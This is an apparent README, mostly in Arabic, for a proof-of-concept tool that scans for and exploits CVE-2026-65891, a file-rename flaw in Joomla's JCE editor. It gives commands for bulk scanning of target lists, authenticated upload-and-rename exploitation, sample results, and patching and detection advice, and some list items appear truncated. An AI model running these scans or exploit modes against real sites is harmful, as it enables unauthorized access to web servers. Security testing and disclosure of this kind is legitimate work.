
CVE-2026-65891 PoC — Joomla Content Editor file rename vulnerability (auth required, fixed in JCE 2.20.2)
ماسح ضوئي لإثبات المفهوم لثغرة CVE-2026-65891 في إضافة محرر محتوى Joomla (JCE).
يسمح التحقق غير السليم من المدخلات في دالة rename (إعادة التسمية) في مدير ملفات JCE لمستخدم مصادق يمتلك صلاحيات إدارة الملفات بما يلي:
.shell.php)للاختبار المصرح به فقط. استخدمها على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-65891 |
| المنتج | JCE (com_jce) — Widget Factory Limited |
| المتأثر | JCE < 2.20.2 (حتى 2.20.1 / 2.9.99.9) |
| تم الإصلاح | JCE 2.20.2+ (2026-07-29) |
| CVSS 3.1 | 6.5 متوسطة |
| CWE | CWE-20 — التحقق غير السليم من المدخلات |
| المصادقة | مطلوبة — صلاحيات رفع وإعادة تسمية JCE |
| KEV | لا |
هذه ليست RCE بدون مصادقة. لا تخلط بينها وبين CVE-2026-48907 (استيراد ملف تعريف JCE، بدون مصادقة).
قبلت معالجات إعادة التسمية browser / imgmanager في JCE أسماء ملفات وجهة كان يجب رفضها:
. (مخفية على POSIX)تم الإصلاح في 2.20.2: التحقق من الامتداد عند إعادة التسمية/النسخ/النقل وعدم الاستبدال الصامت.
check (بدون بيانات اعتماد)jce.xml / الأصول (assets)probe / exploit (يتطلب بيانات اعتماد)/administrator/ (أو --frontend-login).txt عبر plugin.rpc (إضافة browser).cve65891_<random>.txt (مخفي)GET /images/.cve65891_*.txt — إذا كان ملف العلامة قابلًا للقراءة → EXPLOITEDgit clone https://github.com/YOUR_USER/CVE-2026-65891.git
cd CVE-2026-65891
pip install -r requirements.txt
المتطلبات: Python 3.10+
# Version / fingerprint scan (bulk, no auth)
python poc_cve_2026_65891.py -f targets.txt -m check -j 30 -o version_hits.txt
# Single target — full check
python poc_cve_2026_65891.py -u https://joomla.example -m check -v
# Authenticated rename test
python poc_cve_2026_65891.py -u https://joomla.example -m probe \
--user editor --pass 'YourPassword' -v
# Session cookie instead of password
python poc_cve_2026_65891.py -u https://joomla.example -m probe \
--cookie-file cookie.txt -v
EXPLOITED https://joomla.example joomla=True jce=True ver=2.20.1 auth=YES upload=YES rename=YES hidden=YES url=https://joomla.example/images/.cve65891_a1b2c3d4.txt
VULNERABLE https://site.example joomla=True jce=True ver=2.9.99.9 rename=YES err=rename_ok_but_hidden_not_readable
SUSPECT https://old.example joomla=True jce=True ver=2.20.1 err=need_auth_--user_--pass_or_--cookie-file
تُكتب سطور VULNERABLE و EXPLOITED فقط إلى -o.
يجب أن يمتلك حساب الاختبار ملف تعريف محرر JCE يتضمن:
عادةً: محرر (Editor) أو مدير (Manager) أو مسؤول (Administrator) — وليس مستخدمًا مسجلًا عاديًا.
قم بترقية JCE إلى 2.20.2 أو أحدث
Extensions → Manage → Update أو قم بالتنزيل من joomlacontenteditor.net
حتى يتم التصحيح: عطّل Rename في إعدادات ملف تعريف JCE لمجموعات المستخدمين غير الموثوقة (مدير الصور، مستعرض الملفات).
ابحث عن طلبات مصادقة موجّهة إلى:
POST /index.php?option=com_jce&task=plugin.rpc&plugin=browser
مع method=rename / renameItem وأسماء وجهة تبدأ بـ ..
ملفات مخفية غير متوقعة ضمن مسارات رفع JCE (/images/، /media/).
هذه الأداة مخصصة للبحث الأمني والتعليم واختبار الاختراق المصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
MIT — انظر LICENSE.
| العلم | الوصف |
|---|
-u, --url | عنوان Joomla الأساسي لهدف واحد |
-f, --file | قائمة الأهداف (عنوان URL واحد في كل سطر) |
-m, --mode | check · probe · exploit · full (الافتراضي: full) |
-j, --threads | المهام المتوازية (الافتراضي: 15) |
-t, --timeout | مهلة HTTP بالثواني (الافتراضي: 25) |
-o, --output | كتابة الإصابات VULNERABLE / EXPLOITED فقط |
--user | اسم مستخدم Joomla |
--pass | كلمة مرور Joomla |
--cookie-file | ملف ترويسة Cookie: خام (تخطي تسجيل الدخول) |
--upload-dir | دليل رفع JCE (الافتراضي: images) |
--frontend-login | تسجيل الدخول عبر الواجهة الأمامية بدلاً من لوحة الإدارة |
-v, --verbose | مخرجات التصحيح |
| الوضع | المصادقة | الوصف |
|---|
check | لا | Joomla + JCE + الإصدار |
probe | نعم | رفع + إعادة تسمية مخفية + تحقق |
exploit | نعم | نفس وضع probe |
full | نعم* | check ثم probe (وضع probe يتطلب مصادقة) |